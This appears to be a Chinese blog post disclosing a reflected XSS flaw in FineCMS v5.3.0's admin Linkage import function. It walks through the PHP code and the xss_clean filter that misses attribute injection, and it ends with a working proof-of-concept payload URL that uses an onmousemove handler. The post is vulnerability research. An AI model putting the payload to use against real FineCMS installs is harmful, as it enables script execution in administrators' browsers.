偶尔走失,从未离开

FineCMS v5.3.0 Linkage.php存在反射型XSS漏洞

文章目录:

FineCMS v5.3.0 反射型XSS漏洞

直接进入正题

漏洞介绍

文件 finecms/dayrui/controllers/admin/Linkage.php 第253行

public function import() {
    if ($this->input->get('admin')) {

        $id = (int)$_GET['id'];
        $lid = (int)$_GET['lid'];
        !is_file(FCPATH.'dayrui/libraries/Linkage/'.$id.'.php') && $this->admin_msg(fc_lang('数据文件不存在无法导入'));

        // 清空数据
        $table = 'linkage_data_'.$lid;
        $this->db->query('TRUNCATE `'.$this->db->dbprefix($table).'`');
        $count = 0;

        // 开始导入
        $data = require FCPATH.'dayrui/libraries/Linkage/'.$id.'.php';
        foreach ($data as $t) {
            $rt = $this->db->insert($table, $t);
            if ($rt) {
                $count++;
            }
        }

        $this->admin_msg(fc_lang('共%s条数据,导入成功%s条', count($data), $count), dr_url('linkage/index'), 1);
    } else {
        $this->admin_msg('导入中 ... ', dr_url('linkage/import', array('admin' => 1, 'id' => $_GET['id'], 'lid' => $_GET['lid'])), 2, 0);
    }
}    

可以发现,$id和$lid取自$_GET,并且用int()函数进行了处理,但是后面的admin_msg函数调用时,却使用的是原始的$_GET['id'],$_GET['lid']

dr_url()函数的处理没有什么影响,只是将参数合并,这里就不跟进了。

接下来跟进admin_msg()函数

finecms/dayrui/core/M_Controller.php 文件 第768行

public function admin_msg($msg, $url = '', $mark = 0, $time = 1) {

    IS_AJAX && exit(dr_json(($mark ? 1 : 0), $msg, $url));
    $this->template->assign(array(
        'msg' => $msg,
        'url' => $this->security->xss_clean($url),
        'time' => $time,
        'mark' => $mark,
        'cache_url' => IS_ADMIN && IS_PC ? $this->_cache_url() : array(),
    ));
    $this->template->display('msg.html', 'admin');
    exit;
}

在给模板变量赋值前,用xss_clean函数对$url参数进行了过滤,然后就去渲染页面了

跟进xss_clean()函数

finecms/system/core/Security.php 文件 第472行

do
{
    $original = $str;

    if (preg_match('/<a/i', $str))
    {
        $str = preg_replace_callback('#<a(?:rea)?[^a-z0-9>]+([^>]*?)(?:>|$)#si', array($this, '_js_link_removal'), $str);
    }

    if (preg_match('/<img/i', $str))
    {
        $str = preg_replace_callback('#<img[^a-z0-9]+([^>]*?)(?:\s?/?>|$)#si', array($this, '_js_img_removal'), $str);
    }

    if (preg_match('/script|xss/i', $str))
    {
        $str = preg_replace('#</*(?:script|xss).*?>#si', '[removed]', $str);
    }
}

可以发现,过滤都是针对以尖括号开始的字符串,那我们这里需要尖括号吗?

跟进模板文件 finecms/dayrui/templates/msg.html 第57行

<div class="details">
    <h4>{$msg}</h4>
    <p class="alert_btnleft">
        {if $url}
        <a href="{$url}">{fc_lang('如果您的浏览器没有自动跳转,请点击这里')}</a>
        <meta http-equiv="refresh" content="{$time}; url={$url}">
        {else}
        <a href="javascript:history.back();" >[{fc_lang('点击返回上一页')}]</a>
        {/if}
    </p>
</div>

由以上代码可知,我们并不需要尖括号。

payload:

http://127.0.0.1/admin.php?c=linkage&m=import&id=1&lid=2" onmousemove=alert`1` a="
 标签: 代码审计

作者  :  watcher


添加新评论